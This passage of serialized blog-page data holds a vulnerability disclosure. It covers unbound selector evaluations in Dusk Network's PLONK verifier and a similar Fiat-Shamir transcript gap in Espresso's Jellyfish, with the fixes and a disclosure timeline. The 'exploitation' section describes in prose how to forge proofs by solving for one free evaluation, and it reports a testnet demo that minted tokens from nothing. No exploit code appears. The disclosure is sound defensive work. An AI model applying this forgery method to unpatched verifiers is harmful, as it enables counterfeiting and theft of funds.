",{"type":24,"tag":156,"props":148457,"children":148459},{"className":148458},[7098,7099],[148460],{"type":24,"tag":930,"props":148461,"children":148463},{"className":148462},[7104],[148464],{"type":24,"tag":930,"props":148465,"children":148467},{"className":148466,"ariaHidden":7110},[7109],[148468],{"type":24,"tag":930,"props":148469,"children":148471},{"className":148470},[7115],[148472,148476,148481,148486,148491,148496],{"type":24,"tag":930,"props":148473,"children":148475},{"className":148474,"style":7227},[7120],[],{"type":24,"tag":930,"props":148477,"children":148479},{"className":148478},[7126,24690],[148480],{"type":30,"value":6268},{"type":24,"tag":930,"props":148482,"children":148484},{"className":148483},[24818],[148485],{"type":30,"value":1010},{"type":24,"tag":930,"props":148487,"children":148489},{"className":148488,"style":116032},[7126,24690],[148490],{"type":30,"value":116035},{"type":24,"tag":930,"props":148492,"children":148494},{"className":148493,"style":96598},[7126,24690],[148495],{"type":30,"value":147165},{"type":24,"tag":930,"props":148497,"children":148499},{"className":148498},[24840],[148500],{"type":30,"value":6249},{"type":30,"value":148502}," field at all. ",{"type":24,"tag":156,"props":148504,"children":148506},{"className":148505},[],[148507],{"type":30,"value":148508},"ProofEvaluations",{"type":30,"value":148510}," contains ",{"type":24,"tag":156,"props":148512,"children":148514},{"className":148513},[],[148515],{"type":30,"value":148313},{"type":30,"value":962},{"type":24,"tag":156,"props":148518,"children":148520},{"className":148519},[],[148521],{"type":30,"value":148320},{"type":30,"value":9599},{"type":24,"tag":156,"props":148524,"children":148526},{"className":148525},[],[148527],{"type":30,"value":148327},{"type":30,"value":148529},", but no ",{"type":24,"tag":156,"props":148531,"children":148533},{"className":148532},[],[148534],{"type":30,"value":148535},"c_w_eval",{"type":30,"value":148537},", so the verifier never consumes an unbound ",{"type":24,"tag":156,"props":148539,"children":148541},{"className":148540},[7098,7099],[148542],{"type":24,"tag":930,"props":148543,"children":148545},{"className":148544},[7104],[148546],{"type":24,"tag":930,"props":148547,"children":148549},{"className":148548,"ariaHidden":7110},[7109],[148550],{"type":24,"tag":930,"props":148551,"children":148553},{"className":148552},[7115],[148554,148558,148563,148568,148573,148578],{"type":24,"tag":930,"props":148555,"children":148557},{"className":148556,"style":7227},[7120],[],{"type":24,"tag":930,"props":148559,"children":148561},{"className":148560},[7126,24690],[148562],{"type":30,"value":6268},{"type":24,"tag":930,"props":148564,"children":148566},{"className":148565},[24818],[148567],{"type":30,"value":1010},{"type":24,"tag":930,"props":148569,"children":148571},{"className":148570,"style":116032},[7126,24690],[148572],{"type":30,"value":116035},{"type":24,"tag":930,"props":148574,"children":148576},{"className":148575,"style":96598},[7126,24690],[148577],{"type":30,"value":147165},{"type":24,"tag":930,"props":148579,"children":148581},{"className":148580},[24840],[148582],{"type":30,"value":6249},{"type":30,"value":148584}," claim (",{"type":24,"tag":37,"props":148586,"children":148588},{"href":148406,"rel":148587},[41],[148589],{"type":30,"value":148410},{"type":30,"value":2716},{"type":24,"tag":100,"props":148592,"children":148593},{},[148594,148596,148683,148685,148777,148778,148785],{"type":30,"value":148595},"There is a fourth permutation commitment ",{"type":24,"tag":156,"props":148597,"children":148599},{"className":148598},[7098,7099],[148600],{"type":24,"tag":930,"props":148601,"children":148603},{"className":148602},[7104],[148604],{"type":24,"tag":930,"props":148605,"children":148607},{"className":148606,"ariaHidden":7110},[7109],[148608],{"type":24,"tag":930,"props":148609,"children":148611},{"className":148610},[7115],[148612,148616,148621,148678],{"type":24,"tag":930,"props":148613,"children":148615},{"className":148614,"style":7227},[7120],[],{"type":24,"tag":930,"props":148617,"children":148619},{"className":148618},[24818],[148620],{"type":30,"value":6849},{"type":24,"tag":930,"props":148622,"children":148624},{"className":148623},[7126],[148625,148630],{"type":24,"tag":930,"props":148626,"children":148628},{"className":148627,"style":96598},[7126,24690],[148629],{"type":30,"value":147060},{"type":24,"tag":930,"props":148631,"children":148633},{"className":148632},[7142],[148634],{"type":24,"tag":930,"props":148635,"children":148637},{"className":148636},[7147,24743],[148638,148667],{"type":24,"tag":930,"props":148639,"children":148641},{"className":148640},[7152],[148642,148662],{"type":24,"tag":930,"props":148643,"children":148645},{"className":148644,"style":96164},[7157],[148646],{"type":24,"tag":930,"props":148647,"children":148648},{"style":96645},[148649,148653],{"type":24,"tag":930,"props":148650,"children":148652},{"className":148651,"style":7167},[7166],[],{"type":24,"tag":930,"props":148654,"children":148656},{"className":148655},[7172,7173,7174,7175],[148657],{"type":24,"tag":930,"props":148658,"children":148660},{"className":148659},[7126,7175],[148661],{"type":30,"value":20630},{"type":24,"tag":930,"props":148663,"children":148665},{"className":148664},[24846],[148666],{"type":30,"value":24849},{"type":24,"tag":930,"props":148668,"children":148670},{"className":148669},[7152],[148671],{"type":24,"tag":930,"props":148672,"children":148674},{"className":148673,"style":96195},[7157],[148675],{"type":24,"tag":930,"props":148676,"children":148677},{},[],{"type":24,"tag":930,"props":148679,"children":148681},{"className":148680},[24840],[148682],{"type":30,"value":18514},{"type":30,"value":148684}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":24,"tag":156,"props":148686,"children":148688},{"className":148687},[7098,7099],[148689],{"type":24,"tag":930,"props":148690,"children":148692},{"className":148691},[7104],[148693],{"type":24,"tag":930,"props":148694,"children":148696},{"className":148695,"ariaHidden":7110},[7109],[148697],{"type":24,"tag":930,"props":148698,"children":148700},{"className":148699},[7115],[148701,148705,148762,148767,148772],{"type":24,"tag":930,"props":148702,"children":148704},{"className":148703,"style":7227},[7120],[],{"type":24,"tag":930,"props":148706,"children":148708},{"className":148707},[7126],[148709,148714],{"type":24,"tag":930,"props":148710,"children":148712},{"className":148711,"style":96598},[7126,24690],[148713],{"type":30,"value":147060},{"type":24,"tag":930,"props":148715,"children":148717},{"className":148716},[7142],[148718],{"type":24,"tag":930,"props":148719,"children":148721},{"className":148720},[7147,24743],[148722,148751],{"type":24,"tag":930,"props":148723,"children":148725},{"className":148724},[7152],[148726,148746],{"type":24,"tag":930,"props":148727,"children":148729},{"className":148728,"style":96164},[7157],[148730],{"type":24,"tag":930,"props":148731,"children":148732},{"style":96645},[148733,148737],{"type":24,"tag":930,"props":148734,"children":148736},{"className":148735,"style":7167},[7166],[],{"type":24,"tag":930,"props":148738,"children":148740},{"className":148739},[7172,7173,7174,7175],[148741],{"type":24,"tag":930,"props":148742,"children":148744},{"className":148743},[7126,7175],[148745],{"type":30,"value":20630},{"type":24,"tag":930,"props":148747,"children":148749},{"className":148748},[24846],[148750],{"type":30,"value":24849},{"type":24,"tag":930,"props":148752,"children":148754},{"className":148753},[7152],[148755],{"type":24,"tag":930,"props":148756,"children":148758},{"className":148757,"style":96195},[7157],[148759],{"type":24,"tag":930,"props":148760,"children":148761},{},[],{"type":24,"tag":930,"props":148763,"children":148765},{"className":148764},[24818],[148766],{"type":30,"value":1010},{"type":24,"tag":930,"props":148768,"children":148770},{"className":148769,"style":116032},[7126,24690],[148771],{"type":30,"value":116035},{"type":24,"tag":930,"props":148773,"children":148775},{"className":148774},[24840],[148776],{"type":30,"value":6249},{"type":30,"value":1087},{"type":24,"tag":37,"props":148779,"children":148782},{"href":148780,"rel":148781},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[41],[148783],{"type":30,"value":148784},"permutation verifier key",{"type":30,"value":2716},{"type":24,"tag":33,"props":148787,"children":148788},{},[148789,148791,148801],{"type":30,"value":148790},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":24,"tag":37,"props":148792,"children":148795},{"href":148793,"rel":148794},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[41],[148796],{"type":24,"tag":156,"props":148797,"children":148799},{"className":148798},[],[148800],{"type":30,"value":148242},{"type":30,"value":148802},", which leaves the master equation underconstrained.",{"type":24,"tag":33,"props":148804,"children":148805},{},[148806],{"type":24,"tag":140,"props":148807,"children":148810},{"alt":148808,"src":148809},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":24,"tag":21895,"props":148812,"children":148813},{},[],{"type":24,"tag":68,"props":148815,"children":148817},{"id":148816},"the-exploitation",[148818],{"type":30,"value":148819},"The exploitation",{"type":24,"tag":33,"props":148821,"children":148822},{},[148823],{"type":30,"value":148824},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":24,"tag":33,"props":148826,"children":148827},{},[148828,148830,148836,148838,148843,148845,148850,148852,148858],{"type":30,"value":148829},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":24,"tag":156,"props":148831,"children":148833},{"className":148832},[],[148834],{"type":30,"value":148835},"z_challenge",{"type":30,"value":148837},", it computes what the linearization polynomial ",{"type":24,"tag":6032,"props":148839,"children":148840},{},[148841],{"type":30,"value":148842},"should",{"type":30,"value":148844}," evaluate to for the pairing check to pass, then solves for ",{"type":24,"tag":156,"props":148846,"children":148848},{"className":148847},[],[148849],{"type":30,"value":148363},{"type":30,"value":148851},", the single free variable that makes the verification equation balance (setting ",{"type":24,"tag":156,"props":148853,"children":148855},{"className":148854},[],[148856],{"type":30,"value":148857},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":30,"value":2716},{"type":24,"tag":33,"props":148860,"children":148861},{},[148862],{"type":24,"tag":140,"props":148863,"children":148866},{"alt":148864,"src":148865},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":24,"tag":33,"props":148868,"children":148869},{},[148870,148872,148912,148914,148939,148941,148946],{"type":30,"value":148871},"To achieve this one may compute the linearization polynomial ",{"type":24,"tag":156,"props":148873,"children":148875},{"className":148874},[7098,7099],[148876],{"type":24,"tag":930,"props":148877,"children":148879},{"className":148878},[7104],[148880],{"type":24,"tag":930,"props":148881,"children":148883},{"className":148882,"ariaHidden":7110},[7109],[148884],{"type":24,"tag":930,"props":148885,"children":148887},{"className":148886},[7115],[148888,148892,148897,148902,148907],{"type":24,"tag":930,"props":148889,"children":148891},{"className":148890,"style":7227},[7120],[],{"type":24,"tag":930,"props":148893,"children":148895},{"className":148894,"style":96112},[7126,24690],[148896],{"type":30,"value":96931},{"type":24,"tag":930,"props":148898,"children":148900},{"className":148899},[24818],[148901],{"type":30,"value":1010},{"type":24,"tag":930,"props":148903,"children":148905},{"className":148904},[7126,24690],[148906],{"type":30,"value":22378},{"type":24,"tag":930,"props":148908,"children":148910},{"className":148909},[24840],[148911],{"type":30,"value":6249},{"type":30,"value":148913}," with all selectors set to zero, evaluating it at ",{"type":24,"tag":156,"props":148915,"children":148917},{"className":148916},[7098,7099],[148918],{"type":24,"tag":930,"props":148919,"children":148921},{"className":148920},[7104],[148922],{"type":24,"tag":930,"props":148923,"children":148925},{"className":148924,"ariaHidden":7110},[7109],[148926],{"type":24,"tag":930,"props":148927,"children":148929},{"className":148928},[7115],[148930,148934],{"type":24,"tag":930,"props":148931,"children":148933},{"className":148932,"style":113316},[7120],[],{"type":24,"tag":930,"props":148935,"children":148937},{"className":148936,"style":116032},[7126,24690],[148938],{"type":30,"value":116035},{"type":30,"value":148940},", and comparing to the target value; the difference divided by the coefficient of ",{"type":24,"tag":156,"props":148942,"children":148944},{"className":148943},[],[148945],{"type":30,"value":148363},{"type":30,"value":148947}," gives the required value in a single field division.",{"type":24,"tag":21895,"props":148949,"children":148950},{},[],{"type":24,"tag":68,"props":148952,"children":148954},{"id":148953},"impact-on-dusk-network",[148955],{"type":30,"value":148956},"Impact on Dusk Network",{"type":24,"tag":33,"props":148958,"children":148959},{},[148960,148962,148969],{"type":30,"value":148961},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":24,"tag":37,"props":148963,"children":148966},{"href":148964,"rel":148965},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[41],[148967],{"type":30,"value":148968},"preverify path",{"type":30,"value":148970},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":24,"tag":478,"props":148972,"children":148973},{},[148974,148979,148984],{"type":24,"tag":100,"props":148975,"children":148976},{},[148977],{"type":30,"value":148978},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":24,"tag":100,"props":148980,"children":148981},{},[148982],{"type":30,"value":148983},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":24,"tag":100,"props":148985,"children":148986},{},[148987],{"type":30,"value":148988},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":24,"tag":33,"props":148990,"children":148991},{},[148992],{"type":30,"value":148993},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":24,"tag":478,"props":148995,"children":148996},{},[148997,149002,149012,149024,149029],{"type":24,"tag":100,"props":148998,"children":148999},{},[149000],{"type":30,"value":149001},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":24,"tag":100,"props":149003,"children":149004},{},[149005,149007],{"type":30,"value":149006},"The malicious wallet forges a PLONK proof to create ",{"type":24,"tag":275,"props":149008,"children":149009},{},[149010],{"type":30,"value":149011},"2000 DUSK from nothing",{"type":24,"tag":100,"props":149013,"children":149014},{},[149015,149017,149022],{"type":30,"value":149016},"The malicious wallet transfers ",{"type":24,"tag":275,"props":149018,"children":149019},{},[149020],{"type":30,"value":149021},"1337 DUSK",{"type":30,"value":149023}," to the honest wallet using a normal (honestly-proved) transaction",{"type":24,"tag":100,"props":149025,"children":149026},{},[149027],{"type":30,"value":149028},"The honest node validates both transactions and mines them into blocks",{"type":24,"tag":100,"props":149030,"children":149031},{},[149032],{"type":30,"value":149033},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":24,"tag":33,"props":149035,"children":149036},{},[149037],{"type":24,"tag":140,"props":149038,"children":149041},{"alt":149039,"src":149040},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":24,"tag":33,"props":149043,"children":149044},{},[149045,149047,149053,149055,149062],{"type":30,"value":149046},"At the time of discovery, DUSK's market cap was roughly ",{"type":24,"tag":37,"props":149048,"children":149050},{"href":144348,"rel":149049},[41],[149051],{"type":30,"value":149052},"~60M",{"type":30,"value":149054},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":24,"tag":37,"props":149056,"children":149059},{"href":149057,"rel":149058},"https://neptune.cash/articles/critical-vulnerability-disclosure",[41],[149060],{"type":30,"value":149061},"Triton VM vulnerability",{"type":30,"value":436},{"type":24,"tag":21895,"props":149064,"children":149065},{},[],{"type":24,"tag":68,"props":149067,"children":149069},{"id":149068},"the-fix",[149070],{"type":30,"value":149071},"The fix",{"type":24,"tag":33,"props":149073,"children":149074},{},[149075],{"type":30,"value":149076},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":24,"tag":96,"props":149078,"children":149079},{},[149080,149125],{"type":24,"tag":100,"props":149081,"children":149082},{},[149083,149085,149096,149098,149104,149105,149111,149112,149118,149119],{"type":30,"value":149084},"Extend ",{"type":24,"tag":37,"props":149086,"children":149089},{"href":149087,"rel":149088},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[41],[149090],{"type":24,"tag":156,"props":149091,"children":149093},{"className":149092},[],[149094],{"type":30,"value":149095},"compute_aggregate_witness",{"type":30,"value":149097}," on the prover side to also include ",{"type":24,"tag":156,"props":149099,"children":149101},{"className":149100},[],[149102],{"type":30,"value":149103},"q_arith",{"type":30,"value":962},{"type":24,"tag":156,"props":149106,"children":149108},{"className":149107},[],[149109],{"type":30,"value":149110},"q_c",{"type":30,"value":962},{"type":24,"tag":156,"props":149113,"children":149115},{"className":149114},[],[149116],{"type":30,"value":149117},"q_l",{"type":30,"value":9599},{"type":24,"tag":156,"props":149120,"children":149122},{"className":149121},[],[149123],{"type":30,"value":149124},"q_r",{"type":24,"tag":100,"props":149126,"children":149127},{},[149128,149130,149140],{"type":30,"value":149129},"Add their evaluations to ",{"type":24,"tag":37,"props":149131,"children":149134},{"href":149132,"rel":149133},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[41],[149135],{"type":24,"tag":156,"props":149136,"children":149138},{"className":149137},[],[149139],{"type":30,"value":148242},{"type":30,"value":149141}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":24,"tag":33,"props":149143,"children":149144},{},[149145,149147,149154],{"type":30,"value":149146},"This was done in ",{"type":24,"tag":37,"props":149148,"children":149151},{"href":149149,"rel":149150},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[41],[149152],{"type":30,"value":149153},"commit 645265b7",{"type":30,"value":149155},", which landed on February 14, 2026.",{"type":24,"tag":21895,"props":149157,"children":149158},{},[],{"type":24,"tag":68,"props":149160,"children":149162},{"id":149161},"why-was-this-missed",[149163],{"type":30,"value":149164},"Why was this missed?",{"type":24,"tag":33,"props":149166,"children":149167},{},[149168,149170,149177,149178,149185,149187,149194,149196,149203],{"type":30,"value":149169},"Dusk's stack had been heavily audited: a ",{"type":24,"tag":37,"props":149171,"children":149174},{"href":149172,"rel":149173},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[41],[149175],{"type":30,"value":149176},"December 2023 audit of dusk-plonk",{"type":30,"value":126818},{"type":24,"tag":37,"props":149179,"children":149182},{"href":149180,"rel":149181},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[41],[149183],{"type":30,"value":149184},"September 2024 audit of Phoenix",{"type":30,"value":149186},", and a ",{"type":24,"tag":37,"props":149188,"children":149191},{"href":149189,"rel":149190},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[41],[149192],{"type":30,"value":149193},"September 2024 Oak Security audit of the Rusk node library",{"type":30,"value":149195},". Dusk's public ",{"type":24,"tag":37,"props":149197,"children":149200},{"href":149198,"rel":149199},"https://dusk.network/news/audits-overview",[41],[149201],{"type":30,"value":149202},"audits overview",{"type":30,"value":149204}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":24,"tag":33,"props":149206,"children":149207},{},[149208,149210,149215],{"type":30,"value":149209},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":24,"tag":6032,"props":149211,"children":149212},{},[149213],{"type":30,"value":149214},"evaluations",{"type":30,"value":436},{"type":24,"tag":33,"props":149217,"children":149218},{},[149219],{"type":30,"value":149220},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":24,"tag":33,"props":149222,"children":149223},{},[149224],{"type":30,"value":149225},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":24,"tag":68,"props":149227,"children":149229},{"id":149228},"a-similar-bug-in-espresso-systems-jellyfish",[149230],{"type":30,"value":149231},"A similar bug in Espresso Systems' Jellyfish",{"type":24,"tag":33,"props":149233,"children":149234},{},[149235,149237,149244],{"type":30,"value":149236},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":24,"tag":37,"props":149238,"children":149241},{"href":149239,"rel":149240},"https://github.com/EspressoSystems/jellyfish/",[41],[149242],{"type":30,"value":149243},"jf-plonk",{"type":30,"value":149245}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":24,"tag":33,"props":149247,"children":149248},{},[149249,149251,149258,149260,149271,149273,149298,149300,149325],{"type":30,"value":149250},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":24,"tag":37,"props":149252,"children":149255},{"href":149253,"rel":149254},"https://eprint.iacr.org/2020/315",[41],[149256],{"type":30,"value":149257},"Plookup",{"type":30,"value":149259}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":24,"tag":37,"props":149261,"children":149264},{"href":149262,"rel":149263},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[41],[149265],{"type":24,"tag":156,"props":149266,"children":149268},{"className":149267},[],[149269],{"type":30,"value":149270},"append_plookup_evaluations",{"type":30,"value":149272}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":24,"tag":156,"props":149274,"children":149276},{"className":149275},[7098,7099],[149277],{"type":24,"tag":930,"props":149278,"children":149280},{"className":149279},[7104],[149281],{"type":24,"tag":930,"props":149282,"children":149284},{"className":149283,"ariaHidden":7110},[7109],[149285],{"type":24,"tag":930,"props":149286,"children":149288},{"className":149287},[7115],[149289,149293],{"type":24,"tag":930,"props":149290,"children":149292},{"className":149291,"style":113316},[7120],[],{"type":24,"tag":930,"props":149294,"children":149296},{"className":149295,"style":96598},[7126,24690],[149297],{"type":30,"value":116379},{"type":30,"value":149299}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":24,"tag":156,"props":149301,"children":149303},{"className":149302},[7098,7099],[149304],{"type":24,"tag":930,"props":149305,"children":149307},{"className":149306},[7104],[149308],{"type":24,"tag":930,"props":149309,"children":149311},{"className":149310,"ariaHidden":7110},[7109],[149312],{"type":24,"tag":930,"props":149313,"children":149315},{"className":149314},[7115],[149316,149320],{"type":24,"tag":930,"props":149317,"children":149319},{"className":149318,"style":113316},[7120],[],{"type":24,"tag":930,"props":149321,"children":149323},{"className":149322,"style":96598},[7126,24690],[149324],{"type":30,"value":116379},{"type":30,"value":149326},", so the prover can adjust them after the fact to make the check pass.",{"type":24,"tag":33,"props":149328,"children":149329},{},[149330,149332,149338,149340,149346],{"type":30,"value":149331},"The attack requires modifying a single evaluation (",{"type":24,"tag":156,"props":149333,"children":149335},{"className":149334},[],[149336],{"type":30,"value":149337},"key_table_next_eval",{"type":30,"value":149339},") by ",{"type":24,"tag":156,"props":149341,"children":149343},{"className":149342},[],[149344],{"type":30,"value":149345},"delta / (u * v^3)",{"type":30,"value":149347}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":24,"tag":33,"props":149349,"children":149350},{},[149351,149353,149360,149362,149373],{"type":30,"value":149352},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":24,"tag":37,"props":149354,"children":149357},{"href":149355,"rel":149356},"https://github.com/EspressoSystems/jellyfish/pull/867",[41],[149358],{"type":30,"value":149359},"PR #867",{"type":30,"value":149361}," fixed the issue and was tagged as ",{"type":24,"tag":37,"props":149363,"children":149366},{"href":149364,"rel":149365},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[41],[149367],{"type":24,"tag":156,"props":149368,"children":149370},{"className":149369},[],[149371],{"type":30,"value":149372},"jf-plonk-v0.8.0",{"type":30,"value":149374}," on March 18, 2026.",{"type":24,"tag":21895,"props":149376,"children":149377},{},[],{"type":24,"tag":68,"props":149379,"children":149381},{"id":149380},"toward-standardization",[149382],{"type":30,"value":149383},"Toward standardization",{"type":24,"tag":33,"props":149385,"children":149386},{},[149387,149389,149396],{"type":30,"value":149388},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":24,"tag":37,"props":149390,"children":149393},{"href":149391,"rel":149392},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[41],[149394],{"type":30,"value":149395},"similar patterns appear across zkVMs",{"type":30,"value":149397},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":24,"tag":33,"props":149399,"children":149400},{},[149401],{"type":30,"value":149402},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":24,"tag":33,"props":149404,"children":149405},{},[149406],{"type":30,"value":149407},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":24,"tag":68,"props":149409,"children":149410},{"id":63910},[149411],{"type":30,"value":149412},"Disclosure timeline",{"type":24,"tag":58834,"props":149414,"children":149415},{},[149416,149432],{"type":24,"tag":125426,"props":149417,"children":149418},{},[149419],{"type":24,"tag":125430,"props":149420,"children":149421},{},[149422,149427],{"type":24,"tag":125434,"props":149423,"children":149424},{},[149425],{"type":30,"value":149426},"Date",{"type":24,"tag":125434,"props":149428,"children":149429},{},[149430],{"type":30,"value":149431},"Event",{"type":24,"tag":125454,"props":149433,"children":149434},{},[149435,149448,149461,149473,149499,149519],{"type":24,"tag":125430,"props":149436,"children":149437},{},[149438,149443],{"type":24,"tag":125461,"props":149439,"children":149440},{},[149441],{"type":30,"value":149442},"2026-02-13",{"type":24,"tag":125461,"props":149444,"children":149445},{},[149446],{"type":30,"value":149447},"Dusk vulnerability reported",{"type":24,"tag":125430,"props":149449,"children":149450},{},[149451,149456],{"type":24,"tag":125461,"props":149452,"children":149453},{},[149454],{"type":30,"value":149455},"2026-02-14",{"type":24,"tag":125461,"props":149457,"children":149458},{},[149459],{"type":30,"value":149460},"Dusk acknowledged",{"type":24,"tag":125430,"props":149462,"children":149463},{},[149464,149468],{"type":24,"tag":125461,"props":149465,"children":149466},{},[149467],{"type":30,"value":149455},{"type":24,"tag":125461,"props":149469,"children":149470},{},[149471],{"type":30,"value":149472},"Dusk fix committed",{"type":24,"tag":125430,"props":149474,"children":149475},{},[149476,149481],{"type":24,"tag":125461,"props":149477,"children":149478},{},[149479],{"type":30,"value":149480},"2026-02-27",{"type":24,"tag":125461,"props":149482,"children":149483},{},[149484,149486,149497],{"type":30,"value":149485},"Public ",{"type":24,"tag":37,"props":149487,"children":149490},{"href":149488,"rel":149489},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[41],[149491],{"type":24,"tag":156,"props":149492,"children":149494},{"className":149493},[],[149495],{"type":30,"value":149496},"dusk-rusk-1.6.0",{"type":30,"value":149498}," release published",{"type":24,"tag":125430,"props":149500,"children":149501},{},[149502,149507],{"type":24,"tag":125461,"props":149503,"children":149504},{},[149505],{"type":30,"value":149506},"2026-03-16",{"type":24,"tag":125461,"props":149508,"children":149509},{},[149510,149512,149518],{"type":30,"value":149511},"Jellyfish fix PR opened (",{"type":24,"tag":37,"props":149513,"children":149515},{"href":149355,"rel":149514},[41],[149516],{"type":30,"value":149517},"#867",{"type":30,"value":6249},{"type":24,"tag":125430,"props":149520,"children":149521},{},[149522,149527],{"type":24,"tag":125461,"props":149523,"children":149524},{},[149525],{"type":30,"value":149526},"2026-03-18",{"type":24,"tag":125461,"props":149528,"children":149529},{},[149530,149532,149537,149539],{"type":30,"value":149531},"Jellyfish fix merged in ",{"type":24,"tag":37,"props":149533,"children":149535},{"href":149355,"rel":149534},[41],[149536],{"type":30,"value":149517},{"type":30,"value":149538}," and tagged as ",{"type":24,"tag":37,"props":149540,"children":149542},{"href":149364,"rel":149541},[41],[149543],{"type":24,"tag":156,"props":149544,"children":149546},{"className":149545},[],[149547],{"type":30,"value":149372},{"type":24,"tag":68,"props":149549,"children":149551},{"id":149550},"acknowledgements",[149552],{"type":30,"value":149553},"Acknowledgements",{"type":24,"tag":33,"props":149555,"children":149556},{},[149557],{"type":30,"value":149558},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":984,"depth":984,"links":149560},[149561,149568,149569,149570,149571,149572,149573,149574,149575,149576,149577,149578],{"id":144378,"depth":984,"text":144381,"children":149562},[149563,149564,149565,149566,149567],{"id":144403,"depth":993,"text":144406},{"id":145206,"depth":993,"text":145209},{"id":146404,"depth":993,"text":146407},{"id":146434,"depth":993,"text":146437},{"id":146715,"depth":993,"text":146718},{"id":147448,"depth":984,"text":147451},{"id":147586,"depth":984,"text":147589},{"id":93366,"depth":984,"text":148217},{"id":148816,"depth":984,"text":148819},{"id":148953,"depth":984,"text":148956},{"id":149068,"depth":984,"text":149071},{"id":149161,"depth":984,"text":149164},{"id":149228,"depth":984,"text":149231},{"id":149380,"depth":984,"text":149383},{"id":63910,"depth":984,"text":149412},{"id":149550,"depth":984,"text":149553},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":149583,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":149584,"description":149585,"date":149586,"author":126085,"image":149587,"isFeatured":16,"onBlogPage":16,